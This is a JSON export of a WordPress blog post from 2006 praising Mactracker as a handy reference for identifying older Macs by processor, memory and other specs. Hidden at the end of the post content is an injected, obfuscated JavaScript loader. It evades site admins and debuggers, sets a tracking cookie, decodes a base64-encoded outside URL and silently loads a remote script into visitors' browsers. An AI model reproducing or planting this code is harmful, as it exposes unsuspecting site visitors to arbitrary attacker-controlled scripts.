{"id":145,"date":"2006-01-24T16:45:22","date_gmt":"2006-01-24T20:45:22","guid":{"rendered":"http:\/\/www.callblog.net\/?p=145"},"modified":"2025-10-17T13:26:14","modified_gmt":"2025-10-17T17:26:14","slug":"mactracker","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/mactracker","title":{"rendered":"Mactracker"},"content":{"rendered":"<p><img decoding=\"async\" align=\"right\" src=\"\/wp-images\/applelogofade.png\" \/>Occasionally I find myself working with a <a href=\"http:\/\/www.apple.com\">Mac<\/a> owner who is not near their computer, and can give me little more then a processor class and a physical description of the machine itself.  Enter <a href=\"http:\/\/www.mactracker.ca\">Mactracker<\/a>.  It&#8217;s a nifty little tool with all sorts of information on every Apple,  Motorola, PowerComputing, and UMAX Mac ever released, as well as iPods, scanners, printers and other Apple accessories.<\/p>\n<p>The information it provides includes:<\/p>\n<ul>\n<li>Processor speed<\/li>\n<li>Memory<\/li>\n<li>Optical drives<\/li>\n<li>Graphics cards<\/li>\n<li>Ssupported Mac OS versions<\/li>\n<li>Expansion options<\/li>\n<li>Photographs<\/li>\n<li>Startup and shutdown sounds (not really useful, but fun)<\/li>\n<\/ul>\n<p>Mactracker&#8217;s product database updates itself automatically, and the authors seem to be fairly active in terms of adding useful features to the software itself.  For instance, they recently added a timeline feature which shows all the products cataloged in the order they were released, broken down by year.  I consider it well worth the 18MB of hard drive space if you ever have to deal with older Macs.<\/p>\n<p><tags>Apple, Mac, Mactracker, tech support, UMAX, PowerComputing, iPod,  computers<\/tags><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Occasionally I find myself working with a Mac owner who is not near their computer, and can give me little more then a processor class and a physical description of the machine itself. Enter Mactracker. It&#8217;s a nifty little tool with all sorts of information on every Apple, Motorola, PowerComputing, and UMAX Mac ever released, [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-145","post","type-post","status-publish","format-standard","hentry","category-technology"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/145","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=145"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/145\/revisions"}],"predecessor-version":[{"id":805,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/145\/revisions\/805"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=145"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=145"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=145"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}